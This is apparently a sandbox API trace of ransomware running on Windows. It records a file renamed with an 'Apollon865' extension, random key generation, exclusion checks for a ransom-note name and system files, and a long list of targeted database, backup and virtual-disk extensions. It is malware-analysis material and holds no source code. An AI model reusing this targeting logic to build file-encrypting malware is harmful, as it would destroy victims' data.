	[0081.330] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.REST.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\onintl.rest.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0081.330] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=252256) returned 1
	[0081.330] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0081.330] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0081.330] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0081.330] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0081.331] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0081.331] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0081.331] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3dc60, lpName=0x0) returned 0x15c
	[0081.333] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3dc60) returned 0x120000
	[0081.346] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0081.347] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0081.347] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0081.347] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0081.347] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0081.347] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0081.347] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0081.347] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0081.347] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0081.347] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0081.347] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0081.347] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0081.347] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0081.347] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0081.349] CloseHandle (hObject=0x15c) returned 1
	[0081.349] CloseHandle (hObject=0x9c) returned 1
	[0081.350] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0081.350] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0081.350] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0081.351] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x302da400, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x302da400, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x35960, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OUTLLIBR.DLL.trx_dll", cAlternateFileName="OUTLLI~1.TRX")) returned 1
	[0081.351] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0081.351] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0081.351] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2=".") returned 1
	[0081.351] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2="..") returned 1
	[0081.351] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2="windows") returned -1
	[0081.351] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2="bootmgr") returned 1
	[0081.351] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2="temp") returned -1
	[0081.351] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2="pagefile.sys") returned -1
	[0081.351] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2="boot") returned 1
	[0081.351] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2="ids.txt") returned 1
	[0081.351] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2="ntuser.dat") returned 1
	[0081.351] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2="perflogs") returned -1
	[0081.351] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2="MSBuild") returned 1
	[0081.351] lstrlenW (lpString="OUTLLIBR.DLL.trx_dll") returned 20
	[0081.351] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.REST.trx_dll") returned 71
	[0081.351] lstrcpyW (in: lpString1=0x119e670, lpString2="OUTLLIBR.DLL.trx_dll" | out: lpString1="OUTLLIBR.DLL.trx_dll") returned="OUTLLIBR.DLL.trx_dll"
	[0081.351] lstrlenW (lpString="OUTLLIBR.DLL.trx_dll") returned 20
	[0081.351] lstrlenW (lpString="Apollon865") returned 10
	[0081.351] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0081.351] lstrlenW (lpString=".dll") returned 4
	[0081.351] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2=".dll") returned 1
	[0081.351] lstrlenW (lpString=".lnk") returned 4
	[0081.351] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2=".lnk") returned 1
	[0081.351] lstrlenW (lpString=".ini") returned 4
	[0081.351] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2=".ini") returned 1
	[0081.352] lstrlenW (lpString=".sys") returned 4
	[0081.352] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2=".sys") returned 1
	[0081.352] lstrlenW (lpString="OUTLLIBR.DLL.trx_dll") returned 20
	[0081.352] lstrlenW (lpString="bak") returned 3
	[0081.352] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0081.352] lstrlenW (lpString="ba_") returned 3
	[0081.352] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0081.352] lstrlenW (lpString="dbb") returned 3
	[0081.352] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0081.352] lstrlenW (lpString="vmdk") returned 4
	[0081.352] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0081.352] lstrlenW (lpString="rar") returned 3
	[0081.352] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0081.352] lstrlenW (lpString="zip") returned 3
	[0081.352] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0081.352] lstrlenW (lpString="tgz") returned 3
	[0081.352] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0081.352] lstrlenW (lpString="vbox") returned 4
	[0081.352] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0081.352] lstrlenW (lpString="vdi") returned 3
	[0081.352] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0081.352] lstrlenW (lpString="vhd") returned 3
	[0081.352] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0081.352] lstrlenW (lpString="vhdx") returned 4
	[0081.352] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0081.352] lstrlenW (lpString="avhd") returned 4
	[0081.352] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0081.352] lstrlenW (lpString="db") returned 2
	[0081.352] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0081.352] lstrlenW (lpString="db2") returned 3
	[0081.352] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0081.352] lstrlenW (lpString="db3") returned 3
	[0081.352] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0081.352] lstrlenW (lpString="dbf") returned 3
	[0081.352] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0081.352] lstrlenW (lpString="mdf") returned 3
	[0081.353] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0081.353] lstrlenW (lpString="mdb") returned 3
	[0081.353] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0081.353] lstrlenW (lpString="sql") returned 3
	[0081.353] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0081.353] lstrlenW (lpString="sqlite") returned 6
	[0081.353] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0081.353] lstrlenW (lpString="sqlite3") returned 7
	[0081.353] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0081.353] lstrlenW (lpString="sqlitedb") returned 8
	[0081.353] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0081.353] lstrlenW (lpString="xml") returned 3
	[0081.353] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0081.353] lstrlenW (lpString="$er") returned 3
	[0081.353] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0081.353] lstrlenW (lpString="4dd") returned 3
	[0081.353] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0081.353] lstrlenW (lpString="4dl") returned 3
	[0081.353] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0081.353] lstrlenW (lpString="^^^") returned 3
	[0081.353] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0081.353] lstrlenW (lpString="abs") returned 3
	[0081.353] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0081.353] lstrlenW (lpString="abx") returned 3
	[0081.353] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0081.353] lstrlenW (lpString="accdb") returned 5
	[0081.353] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0081.353] lstrlenW (lpString="accdc") returned 5
	[0081.353] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0081.353] lstrlenW (lpString="accde") returned 5
	[0081.353] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0081.353] lstrlenW (lpString="accdr") returned 5
	[0081.353] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0081.353] lstrlenW (lpString="accdt") returned 5
	[0081.353] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0081.354] lstrlenW (lpString="accdw") returned 5
	[0081.354] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0081.354] lstrlenW (lpString="accft") returned 5
	[0081.354] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0081.354] lstrlenW (lpString="adb") returned 3
	[0081.354] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0081.354] lstrlenW (lpString="adb") returned 3
	[0081.354] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0081.354] lstrlenW (lpString="ade") returned 3
	[0081.354] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0081.354] lstrlenW (lpString="adf") returned 3
	[0081.354] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0081.354] lstrlenW (lpString="adn") returned 3
	[0081.354] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0081.354] lstrlenW (lpString="adp") returned 3
	[0081.354] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0081.354] lstrlenW (lpString="alf") returned 3
	[0081.354] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0081.354] lstrlenW (lpString="ask") returned 3
	[0081.354] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0081.354] lstrlenW (lpString="btr") returned 3
	[0081.354] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0081.354] lstrlenW (lpString="cat") returned 3
	[0081.354] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0081.354] lstrlenW (lpString="cdb") returned 3
	[0081.354] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0081.354] lstrlenW (lpString="ckp") returned 3
	[0081.354] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0081.354] lstrlenW (lpString="cma") returned 3
	[0081.354] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0081.354] lstrlenW (lpString="cpd") returned 3
	[0081.354] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0081.354] lstrlenW (lpString="dacpac") returned 6
	[0081.354] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0081.355] lstrlenW (lpString="dad") returned 3
	[0081.355] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0081.355] lstrlenW (lpString="dadiagrams") returned 10
	[0081.355] lstrcmpiW (lpString1="LL.trx_dll", lpString2="dadiagrams") returned 1
	[0081.355] lstrlenW (lpString="daschema") returned 8
	[0081.355] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0081.355] lstrlenW (lpString="db-journal") returned 10
	[0081.355] lstrcmpiW (lpString1="LL.trx_dll", lpString2="db-journal") returned 1
	[0081.355] lstrlenW (lpString="db-shm") returned 6
	[0081.355] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0081.355] lstrlenW (lpString="db-wal") returned 6
	[0081.355] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0081.355] lstrlenW (lpString="dbc") returned 3
	[0081.355] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0081.355] lstrlenW (lpString="dbs") returned 3
	[0081.355] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0081.355] lstrlenW (lpString="dbt") returned 3
	[0081.355] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0081.355] lstrlenW (lpString="dbv") returned 3
	[0081.355] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0081.355] lstrlenW (lpString="dbx") returned 3
	[0081.355] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0081.355] lstrlenW (lpString="dcb") returned 3
	[0081.355] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0081.355] lstrlenW (lpString="dct") returned 3
	[0081.355] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0081.355] lstrlenW (lpString="dcx") returned 3
	[0081.355] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0081.355] lstrlenW (lpString="ddl") returned 3
	[0081.355] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0081.355] lstrlenW (lpString="dlis") returned 4
	[0081.355] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0081.356] lstrlenW (lpString="dp1") returned 3
	[0081.356] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0081.356] lstrlenW (lpString="dqy") returned 3
	[0081.356] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0081.356] lstrlenW (lpString="dsk") returned 3
	[0081.356] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0081.356] lstrlenW (lpString="dsn") returned 3
	[0081.356] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0081.356] lstrlenW (lpString="dtsx") returned 4
	[0081.356] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0081.356] lstrlenW (lpString="dxl") returned 3
	[0081.356] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0081.356] lstrlenW (lpString="eco") returned 3
	[0081.356] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0081.356] lstrlenW (lpString="ecx") returned 3
	[0081.356] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0081.356] lstrlenW (lpString="edb") returned 3
	[0081.356] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0081.356] lstrlenW (lpString="epim") returned 4
	[0081.356] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0081.356] lstrlenW (lpString="fcd") returned 3
	[0081.356] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0081.356] lstrlenW (lpString="fdb") returned 3
	[0081.356] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0081.356] lstrlenW (lpString="fic") returned 3
	[0081.356] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0081.356] lstrlenW (lpString="flexolibrary") returned 12
	[0081.356] lstrcmpiW (lpString1=".DLL.trx_dll", lpString2="flexolibrary") returned -1
	[0081.356] lstrlenW (lpString="fm5") returned 3
	[0081.356] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0081.356] lstrlenW (lpString="fmp") returned 3
	[0081.356] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0081.356] lstrlenW (lpString="fmp12") returned 5
	[0081.356] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0081.357] lstrlenW (lpString="fmpsl") returned 5
	[0081.357] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0081.357] lstrlenW (lpString="fol") returned 3
	[0081.357] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0081.357] lstrlenW (lpString="fp3") returned 3
	[0081.357] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0081.357] lstrlenW (lpString="fp4") returned 3
	[0081.357] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0081.357] lstrlenW (lpString="fp5") returned 3
	[0081.357] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0081.357] lstrlenW (lpString="fp7") returned 3
	[0081.357] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0081.357] lstrlenW (lpString="fpt") returned 3
	[0081.357] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0081.357] lstrlenW (lpString="frm") returned 3
	[0081.357] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0081.357] lstrlenW (lpString="gdb") returned 3
	[0081.357] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0081.357] lstrlenW (lpString="gdb") returned 3
	[0081.357] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0081.357] lstrlenW (lpString="grdb") returned 4
	[0081.357] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0081.357] lstrlenW (lpString="gwi") returned 3
	[0081.357] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0081.357] lstrlenW (lpString="hdb") returned 3
	[0081.357] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0081.357] lstrlenW (lpString="his") returned 3
	[0081.357] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0081.357] lstrlenW (lpString="ib") returned 2
	[0081.357] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0081.357] lstrlenW (lpString="idb") returned 3
	[0081.357] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0081.357] lstrlenW (lpString="ihx") returned 3
	[0081.357] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0081.357] lstrlenW (lpString="itdb") returned 4
	[0081.358] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0081.358] lstrlenW (lpString="itw") returned 3
	[0081.358] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0081.358] lstrlenW (lpString="jet") returned 3
	[0081.358] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0081.358] lstrlenW (lpString="jtx") returned 3
	[0081.358] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0081.358] lstrlenW (lpString="kdb") returned 3
	[0081.358] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0081.358] lstrlenW (lpString="kexi") returned 4
	[0081.358] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0081.358] lstrlenW (lpString="kexic") returned 5
	[0081.358] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0081.358] lstrlenW (lpString="kexis") returned 5
	[0081.358] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0081.358] lstrlenW (lpString="lgc") returned 3
	[0081.358] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0081.358] lstrlenW (lpString="lwx") returned 3
	[0081.358] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0081.358] lstrlenW (lpString="maf") returned 3
	[0081.358] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0081.358] lstrlenW (lpString="maq") returned 3
	[0081.358] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0081.358] lstrlenW (lpString="mar") returned 3
	[0081.358] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0081.358] lstrlenW (lpString="marshal") returned 7
	[0081.358] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0081.358] lstrlenW (lpString="mas") returned 3
	[0081.358] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0081.358] lstrlenW (lpString="mav") returned 3
	[0081.358] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0081.358] lstrlenW (lpString="maw") returned 3
	[0081.358] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0081.358] lstrlenW (lpString="mdbhtml") returned 7
	[0081.358] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0081.358] lstrlenW (lpString="mdn") returned 3
	[0081.359] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0081.359] lstrlenW (lpString="mdt") returned 3
	[0081.359] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0081.359] lstrlenW (lpString="mfd") returned 3
	[0081.359] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0081.359] lstrlenW (lpString="mpd") returned 3
	[0081.359] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0081.359] lstrlenW (lpString="mrg") returned 3
	[0081.359] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0081.359] lstrlenW (lpString="mud") returned 3
	[0081.359] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0081.359] lstrlenW (lpString="mwb") returned 3
	[0081.359] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0081.359] lstrlenW (lpString="myd") returned 3
	[0081.359] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0081.359] lstrlenW (lpString="ndf") returned 3
	[0081.359] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0081.359] lstrlenW (lpString="nnt") returned 3
	[0081.359] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0081.359] lstrlenW (lpString="nrmlib") returned 6
	[0081.359] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0081.359] lstrlenW (lpString="ns2") returned 3
	[0081.359] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0081.359] lstrlenW (lpString="ns3") returned 3
	[0081.359] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0081.359] lstrlenW (lpString="ns4") returned 3
	[0081.359] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0081.359] lstrlenW (lpString="nsf") returned 3
	[0081.359] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0081.359] lstrlenW (lpString="nv") returned 2
	[0081.359] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0081.359] lstrlenW (lpString="nv2") returned 3
	[0081.359] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0081.359] lstrlenW (lpString="nwdb") returned 4
	[0081.359] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0081.360] lstrlenW (lpString="nyf") returned 3
	[0081.360] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0081.360] lstrlenW (lpString="odb") returned 3
	[0081.360] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0081.360] lstrlenW (lpString="odb") returned 3
	[0081.360] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0081.360] lstrlenW (lpString="oqy") returned 3
	[0081.360] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0081.360] lstrlenW (lpString="ora") returned 3
	[0081.360] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0081.360] lstrlenW (lpString="orx") returned 3
	[0081.360] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0081.360] lstrlenW (lpString="owc") returned 3
	[0081.360] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0081.360] lstrlenW (lpString="p96") returned 3
	[0081.360] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0081.360] lstrlenW (lpString="p97") returned 3
	[0081.360] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0081.360] lstrlenW (lpString="pan") returned 3
	[0081.360] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0081.360] lstrlenW (lpString="pdb") returned 3
	[0081.360] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0081.360] lstrlenW (lpString="pdm") returned 3
	[0081.360] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0081.360] lstrlenW (lpString="pnz") returned 3
	[0081.360] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0081.360] lstrlenW (lpString="qry") returned 3
	[0081.360] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0081.360] lstrlenW (lpString="qvd") returned 3
	[0081.360] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0081.360] lstrlenW (lpString="rbf") returned 3
	[0081.360] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0081.360] lstrlenW (lpString="rctd") returned 4
	[0081.360] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0081.360] lstrlenW (lpString="rod") returned 3
	[0081.360] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0081.361] lstrlenW (lpString="rodx") returned 4
	[0081.361] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0081.361] lstrlenW (lpString="rpd") returned 3
	[0081.361] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0081.361] lstrlenW (lpString="rsd") returned 3
	[0081.361] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0081.361] lstrlenW (lpString="sas7bdat") returned 8
	[0081.361] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0081.361] lstrlenW (lpString="sbf") returned 3
	[0081.361] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0081.361] lstrlenW (lpString="scx") returned 3
	[0081.361] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0081.361] lstrlenW (lpString="sdb") returned 3
	[0081.361] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0081.361] lstrlenW (lpString="sdc") returned 3
	[0081.361] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0081.361] lstrlenW (lpString="sdf") returned 3
	[0081.361] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0081.361] lstrlenW (lpString="sis") returned 3
	[0081.361] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0081.361] lstrlenW (lpString="spq") returned 3
	[0081.361] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0081.361] lstrlenW (lpString="te") returned 2
	[0081.361] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0081.361] lstrlenW (lpString="teacher") returned 7
	[0081.361] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0081.361] lstrlenW (lpString="tmd") returned 3
	[0081.361] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0081.361] lstrlenW (lpString="tps") returned 3
	[0081.361] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0081.361] lstrlenW (lpString="trc") returned 3
	[0081.361] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0081.361] lstrlenW (lpString="trc") returned 3
	[0081.362] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0081.362] lstrlenW (lpString="trm") returned 3
